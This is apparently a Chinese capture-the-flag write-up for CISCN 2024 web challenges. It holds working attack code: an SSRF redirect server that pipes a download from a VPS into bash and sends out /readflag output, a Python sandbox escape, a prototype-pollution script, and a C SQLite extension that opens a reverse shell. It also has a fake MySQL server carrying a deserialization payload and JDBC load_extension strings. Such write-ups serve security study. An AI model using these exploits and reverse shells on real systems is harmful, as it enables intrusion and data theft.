CISCN2024-WEB-wp
被pwn✌翰青带飞力
最高的时候打到了总榜第三,tql,虽然后面闲鱼老哥发力了,py太明目张胆给分数刷下去了,最后黑灯摆了就没交了,掉到60几了。
这里不谈其他,就谈谈web吧。
Simple_php
ban了很多命令,但是没有ban掉diff和dd,可以使用diff读目录,dd读文件:
读根目录:
diff --recursive / /home
发现根目录没有flag。
读特定文件:
dd if=/etc/passwd
本来想猜测在环境变量里,但是env被ban了,所以/proc/self/environ也读不了。
到/bin里找到了mysql命令,猜测flag在mysql里,但是不知道密码,弱密码试出root/root,执行mysqldump所有数据,ctrl F搜flag交了:
mysqldump -uroot -proot --all-databases
其实RCE绕过方法挺多的,甚至可以反弹shell,打出来后我也试了试通了,网上方法一大把就不献丑了。
easycms
可惜黑灯模式没来得及交,但还是写上wp吧,因为和第二天的revenge相比都基本一样的打法。
首先去官网下载源码然后开始审计:
在dayrui/Fcms/Control/Api/Api.php里的处理qrcode逻辑里,
对于dr_catcher_data方法发现它处理了一个thumb参数,跟进dr_catcher_data方法可以看到一个很明显的curl解析,符合题目127.0.0.1打SSRF的需求
这里是上传的几个参数,不过除了thumb都不太重要:
payload:
<url>/index.php?s=api&c=api&m=qrcode&text=foo&size=1&level=1&thumb=http://vps:port
vps上起一个flask302跳转,然后执行命令curl反弹shell:
from flask import Flask, redirect app = Flask(__name__) @app.route('/') def index(): return redirect("http://127.0.0.1/flag.php?cmd=curl vps:80/bash.html|bash") if __name__ == '__main__': app.run(host='0.0.0.0', port=21000)
也可以起一个php:
<?php //header("HTTP/1.1 302 found"); //header("Location:http://127.0.0.1:1337/flag"); //header("Location:file:///etc/passwd"); header("Location:http://127.0.0.1/flag.php?cmd=xxxxxx"); exit(); ?>
记得url编码就行。
easycms_revenge
其他步骤基本一模一样:
from flask import Flask, redirect from werkzeug.wrappers import Response app = Flask(__name__) @app.route('/') def index(): html_location = "http://127.0.0.1/flag.php?cmd=curl http://vps:1234/?aaa=`/readflag`" response = Response( "GIF89A\n" + "<!doctype html>\n" "<html lang=en>\n" "<title>Redirecting...</title>\n" "<h1>Redirecting...</h1>\n" "<p>You should be redirected automatically to the target URL: " f'<a href="{html_location}">{html_location}</a>. If not, click the link.\n',302,mimetype="text/html",) response.headers["Location"] = html_location return response if __name__ == '__main__': app.run(host='0.0.0.0', port=21000)
如果用php,记得加个html标签就行:
GIF89a <html> <?php header("Location:http://127.0.0.1/flag.php?cmd=xxxx"); exit(); ?> </html>
这里偷了个懒,因为没有ban反引号,所以直接外带读flag就行了:
由于这种外带带不出来花括号,flag后和最后加上花括号即可。
mossfern
开始以为是随机数伪造啥的,都来seed之类的,但看到另一个文件ban掉了什么os、sys这些,想到了应该是pyjail。
这里可以用栈帧逃逸打:
main.py:
import os import subprocess from flask import Flask, request, jsonify from uuid import uuid1 app = Flask(__name__) runner = open("/app/runner.py", "r", encoding="UTF-8").read() flag = open("/flag", "r", encoding="UTF-8").readline().strip() @app.post("/run") def run(): id = str(uuid1()) try: data = request.json open(f"/app/uploads/{id}.py", "w", encoding="UTF-8").write( runner.replace("THIS_IS_SEED", flag).replace("THIS_IS_TASK_RANDOM_ID", id)) open(f"/app/uploads/{id}.txt", "w", encoding="UTF-8").write(data.get("code", "")) run = subprocess.run( ['python', f"/app/uploads/{id}.py"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, timeout=3 ) result = run.stdout.decode("utf-8") error = run.stderr.decode("utf-8") print(result, error) if os.path.exists(f"/app/uploads/{id}.py"): os.remove(f"/app/uploads/{id}.py") if os.path.exists(f"/app/uploads/{id}.txt"): os.remove(f"/app/uploads/{id}.txt") return jsonify({ "result": f"{result}\n{error}" }) except: if os.path.exists(f"/app/uploads/{id}.py"): os.remove(f"/app/uploads/{id}.py") if os.path.exists(f"/app/uploads/{id}.txt"): os.remove(f"/app/uploads/{id}.txt") return jsonify({ "result": "None" }) if __name__ == "__main__": app.run("0.0.0.0", 5000)
runner.py:
def source_simple_check(source): """ Check the source with pure string in string, prevent dangerous strings :param source: source code :return: None """ from sys import exit from builtins import print try: source.encode("ascii") except UnicodeEncodeError: print("non-ascii is not permitted") exit() for i in ["__", "getattr", "exit"]: if i in source.lower(): print(i) exit() def block_wrapper(): """ Check the run process with sys.audithook, no dangerous operations should be conduct :return: None """ def audit(event, args): from builtins import str, print import os for i in ["marshal", "__new__", "process", "os", "sys", "interpreter", "cpython", "open", "compile", "gc"]: if i in (event + "".join(str(s) for s in args)).lower(): print(i) os._exit(1) return audit def source_opcode_checker(code): """ Check the source in the bytecode aspect, no methods and globals should be load :param code: source code :return: None """ from dis import dis from builtins import str from io import StringIO from sys import exit opcodeIO = StringIO() dis(code, file=opcodeIO) opcode = opcodeIO.getvalue().split("\n") opcodeIO.close() for line in opcode: if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]): if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]): break print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)])) exit() if __name__ == "__main__": from builtins import open from sys import addaudithook from contextlib import redirect_stdout from random import randint, randrange, seed from io import StringIO from random import seed from time import time source = open(f"/app/uploads/THIS_IS_TASK_RANDOM_ID.txt", "r").read() source_simple_check(source) source_opcode_checker(source) code = compile(source, "<sandbox>", "exec") addaudithook(block_wrapper()) outputIO = StringIO() with redirect_stdout(outputIO): seed(str(time()) + "THIS_IS_SEED" + str(time())) exec(code, { "__builtins__": None, "randint": randint, "randrange": randrange, "seed": seed, "print": print }, None) output = outputIO.getvalue() if "THIS_IS_SEED" in output: print("这 runtime 你就嘎嘎写吧, 一写一个不吱声啊,点儿都没拦住!") print("bad code-operation why still happened ah?") else: print(output)
分析一波:
函数 source_simple_check 用来对输入的源代码进行基础的安全检查。首先,它检查代码是否只包含ASCII字符;如果不是,它会打印警告并退出程序。接下来,它查找一些可能表示危险操作的字符串,例如 "__"、"getattr"、和 "exit"。如果发现这些字符串,函数会打印它们并退出程序。这些检查有助于防止注入和系统命令执行等风险。 函数 block_wrapper 返回一个用于系统审计的钩子函数,它会检查运行中的事件和参数,寻找可能涉及危险操作的关键词,如 "marshal"、"__new__"、"os" 等。如果检测到这些词,程序将打印词语并调用 os._exit(1) 立即退出。这是一个更深层次的防御措施,旨在防止恶意代码操控Python解释器或操作系统功能。 函数 source_opcode_checker 通过分析Python字节码来检测源代码中潜在的危险操作。它首先将源代码编译成字节码,然后检查字节码中的每一行,寻找包含如 "LOAD_GLOBAL"、"IMPORT_NAME"、或 "LOAD_METHOD" 这样的操作码。这些操作码可能涉及到危险函数的调用或外部模块的加载。如果发现有问题的代码行,程序会打印相关操作码并退出。
主执行部分 在主执行部分,脚本从一个文件中读取代码,然后执行前面定义的安全检查函数。之后,代码被编译并且设置了审计钩子,以防运行时违规操作。代码在一个严格限定的环境中执行,其中仅允许使用几个安全的随机数函数和打印函数。执行结果被捕获并最后进行检查,以确保不包含敏感字符串 “THIS_IS_SEED”,如果包含,表示检查失败。 通过多层审计和执行限制,力图在执行外部提交的Python代码时提供一个相对安全的环境。这种方法有助于防止代码执行中的常见安全问题,如注入攻击、未授权的系统访问等。
python栈帧沙箱逃逸 - Zer0peach can't think
Python利用栈帧沙箱逃逸 - 先知社区 (aliyun.com)
原理就是通过生成器的栈帧对象通过f_back(返回前一帧)从而逃逸出去获取globals全局符号表。
这里抄一手第十七届全国大学生信息安全竞赛 CISCN 2024 创新实践能力赛初赛 Web方向 部分题解WP-CSDN博客
使用gi_frame获取当前帧的信息:
def my_generator(): yield 1 yield 2 yield 3 gen = my_generator() frame = gen.gi_frame print("Local Variables:", frame.f_locals) print("Global Variables:", frame.f_globals) print("Code Object:", frame.f_code) print("Instruction Pointer:", frame.f_lasti)
利用栈帧沙箱逃逸,原理就是通过生成器的栈帧对象通过f_back(返回前一帧)从而逃逸出去获取globals全局符号表
尝试一下文中给出的例子:
def waff(): def f(): yield g.gi_frame.f_back g = f() frame = next(g) print(frame) print(frame.f_back) waff()
报错,因为检测到了黑名单:
稍改一下frame的赋值:
def waff(): def f(): yield g.gi_frame.f_back g = f() frame = [x for x in g][0] print(frame) print(frame.f_back) waff()
f_back
: 指向上一级调用栈帧的引用,用于构建调用栈。
back三次即可,有输出就是对了:
def waff(): def f(): yield g.gi_frame.f_back g = f() frame = [x for x in g][0] print(frame) print(frame.f_back) print(frame.f_back.f_back) print(frame.f_back.f_back.f_back) gattr = frame.f_back.f_back.f_back.f_globals["_" * 2 + "builtins" + "_" * 2] dir = gattr.dir str = gattr.str waff()
f_code
: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。
def exp(): def scq(): yield scq.gi_frame.f_back scq = scq() frame = [x for x in scq][0] gattr = frame.f_back.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2] dir = gattr.dir getflag = frame.f_back.f_back.f_back.f_code print(dir(getflag)) exp()
直接可以拿到对象:
直接打印不行,还有:
def exp(): def scq(): yield scq.gi_frame.f_back scq = scq() # frame = next(scq) frame=[x for x in scq][0] print(frame) print(frame.f_back) gattr = frame.f_back.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2] getflag = frame.f_back.f_back.f_back.f_code dir = gattr.dir print(dir(getflag)) for i in getflag.co_consts: print(i) exp()
转字符串再打印:
def exp(): def scq(): yield scq.gi_frame.f_back scq = scq() #生成器 # frame = next(scq) # 获取到生成器的栈帧对象 frame = [x for x in scq][0] #由于生成器也是迭代器,所以也可以获取到生成器的栈帧对象 # print(frame) # print(frame.f_back) gattr = frame.f_back.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2] #['_''_bui''ltins_''_']也行 dir = gattr.dir str = gattr.str # 获取str方法 getflag = frame.f_back.f_back.f_back.f_code print(dir(getflag)) for i in str(getflag.co_consts): print(i) exp()
学到了学到了,python沙箱栈帧逃逸。Jay 17师傅挺牛子的。
sanic(Unsolved)
这道只有成电出了,第一天最后的时间一直在看这个,唉可惜没打出来。
python sanic的框架,session伪造和一个python原型链污染。
扫到/src,访问得到源码:
from sanic import Sanic from sanic.response import text, html from sanic_session import Session import pydash # pydash==5.1.2 class Pollute: def __init__(self): pass app = Sanic(__name__) app.static("/static/", "./static/") Session(app) @app.route('/', methods=['GET', 'POST']) async def index(request): return html(open('static/index.html').read()) @app.route("/login") async def login(request): user = request.cookies.get("user") if user.lower() == 'adm;n': request.ctx.session['admin'] = True return text("login success") return text("login fail") @app.route("/src") async def src(request): return text(open(__file__).read()) @app.route("/admin", methods=['GET', 'POST']) async def admin(request): if request.ctx.session.get('admin') == True: key = request.json['key'] value = request.json['value'] if key and value and type(key) is str and '_.' not in key: pollute = Pollute() pydash.set_(pollute, key, value) return text("success") else: return text("forbidden") return text("forbidden") if __name__ == '__main__': app.run(host='0.0.0.0')
three-digit octal equivalent of the character. Any '\' or '" quoted with a preceeding '\' slash.
Check for special sequences.
Examples: \012 --> \n \" --> "
绕admin可以直接
user="adm\073n"
login拿一下session,然后就是打/admin路由,传key和value的json打原型链。
import requests url = '' s = requests.Session() s.cookies.update({ 'user': '"adm\\073n"' }) s.get(url + '/login') # 开启目录浏览 # data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory_view", "value": True} # 污染目录路径 # data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory._parts", "value": ['/']} # r = s.post(url + '/admin', json=data) # print(r.text) # 获取flag路径 # r = s.get(url + '/static/') # print(r.text) #污染__file__,读取flag # data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.__file__", "value": "/24bcbd0192e591d6ded1_flag"} # r = s.post(url + '/admin', json=data) # print(r.text) # print(s.get(url + '/src').text)
ezjava(Unsolved)
可惜本人思路有限,java安全也才入门水平,调的时候也是一坨。
只能看出是打JDBC的sqlite,他给的mysql和postgresql好像后面都用不了。
赛后看了看队里佬的想法,确实可以打so文件传进去然后load_extension一手就能反弹shell,具体复现后面再打吧。
JavaSec/9.JDBC Attack/SQLite/index.md at main · Y4tacker/JavaSec · GitHub
依赖里有AspectJWeaver,可以打任意文件写入:
【Web】浅聊Java反序列化之AspectJWeaver——任意文件写入-CSDN博客
UserBean这里调用了map.put,可以直接打readObject:
然后利用DatasourceServiceImpl里的数据库逻辑:
case1可以起一个恶意mysql传so文件,然后利用case3的sqlite加载so文件。
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加载so文件,可以用C语言写一个然后用gcc编译:
/* Add your header comment here */ #include <sqlite3ext.h> /* Do not use <sqlite3.h>! */ #include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <signal.h> #include <dirent.h> #include <sys/stat.h> SQLITE_EXTENSION_INIT1 /* Insert your extension code here */ int tcp_port = 7777; char *ip = "10.10.10.10"; #ifdef _WIN32 __declspec(dllexport) #endif int sqlite3_extension_init( sqlite3 *db, char **pzErrMsg, const sqlite3_api_routines *pApi ){ int rc = SQLITE_OK; SQLITE_EXTENSION_INIT2(pApi); int fd; if ( fork() <= 0){ struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(tcp_port); addr.sin_addr.s_addr = inet_addr(ip); fd = socket(AF_INET, SOCK_STREAM, 0); if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){ exit(0); } dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); execve("/bin/bash", 0LL, 0LL); } return rc; }
sudo apt install libsqlite3-dev gcc -g -shared -fPIC exp.c -o exp.so
也可以直接msf生成:
package com.eddiemurphy; import com.example.jdbctest.bean.UserBean; import java.io.ByteArrayOutputStream; import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.util.Base64; public class Exp { // 获取指定类的第一个构造函数,并设置为可访问 public static Constructor<?> getCtor(final String name) throws Exception { final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0]; ctor.setAccessible(true); return ctor; } // 创建一个UserBean对象,将evil.so的内容Base64编码后存入UserBean中 public static Object getObject() throws Exception { String filename = "../../../../../../../../../../../../tmp/evil.so"; // 路径指向/tmp/evil.so Path filePath = Paths.get("F:\\CTF_Java\\CISCN2024\\src\\main\\java\\com\\eddiemurphy\\evil.so"); // 假设evil.so位于当前目录 byte[] fileBytes = Files.readAllBytes(filePath); // 读取文件字节 String content = Base64.getEncoder().encodeToString(fileBytes); // 将文件内容Base64编码 UserBean bean = new UserBean(filename, content); // 创建UserBean实例 Constructor<?> ctor = getCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); Object simpleCache = ctor.newInstance(".", 12); // 实例化一个SimpleCache对象 bean.setObj(simpleCache); // 将SimpleCache对象设置为UserBean的obj属性 return bean; } // 序列化一个对象到字节数组 public static byte[] serialize(Object object) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(object); oos.close(); return baos.toByteArray(); } // 主函数,序列化对象并将其写入文件 public static void main(String[] args) throws Exception { byte[] serialized = serialize(getObject()); // 序列化对象 String fileName = "F:\\CTF_Java\\CISCN2024\\src\\main\\java\\com\\eddiemurphy\\output.ser"; // 输出文件名 // 使用FileOutputStream将字节数据写入文件 FileOutputStream fos = new FileOutputStream(fileName); fos.write(serialized); fos.close(); // 关闭文件输出流 } }
然后VPS起一个fakemysql,payload和端口自己设一下,发包直接打:
import socket import binascii import os greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400" response_ok_data="0700000200000002000000" def receive_data(conn): data = conn.recv(1024) print("[*] Receiveing the package : {}".format(data)) return str(data).lower() def send_data(conn,data): print("[*] Sending the package : {}".format(data)) conn.send(binascii.a2b_hex(data)) def get_payload_content(): #file文件的内容使用ysoserial生成的 使用规则:java -jar ysoserial [Gadget] [command] > payload file= r'payload' if os.path.isfile(file): with open(file, 'rb') as f: payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8') print("open successs") else: print("open false") #calc payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878' return payload_content # 主要逻辑 def run(): while 1: conn, addr = sk.accept() print("Connection come from {}:{}".format(addr[0],addr[1])) # 1.先发送第一个 问候报文 send_data(conn,greeting_data) while True: # 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok receive_data(conn) send_data(conn,response_ok_data) #其他过程 data=receive_data(conn) #查询一些配置信息,其中会发送自己的 版本号 if "session.auto_increment_increment" in data: _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000' send_data(conn,_payload) data=receive_data(conn) elif "show warnings" in data: _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000' send_data(conn, _payload) data = receive_data(conn) if "set names" in data: send_data(conn, response_ok_data) data = receive_data(conn) if "set character_set_results" in data: send_data(conn, response_ok_data) data = receive_data(conn) if "show session status" in data: mysql_data = '0100000102' mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000' mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000' # 为什么我加了EOF Packet 就无法正常运行呢?? # 获取payload payload_content=get_payload_content() # 计算payload长度 payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4) payload_length_hex = payload_length[2:4] + payload_length[0:2] # 计算数据包长度 data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6) data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2] mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex mysql_data += str(payload_content) mysql_data += '07000005fe000022000100' send_data(conn, mysql_data) data = receive_data(conn) if "show warnings" in data: payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000' send_data(conn, payload) break
传so文件:
{"type":"1","url":"jdbc:mysql://vps:port/a?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"}
load_extention反弹shell:
{"type":"3","tableName":"(select (load_extension(\"/tmp/evil.so\")));","url":"jdbc:sqlite:file:/tmp/db?enable_load_extension=true"}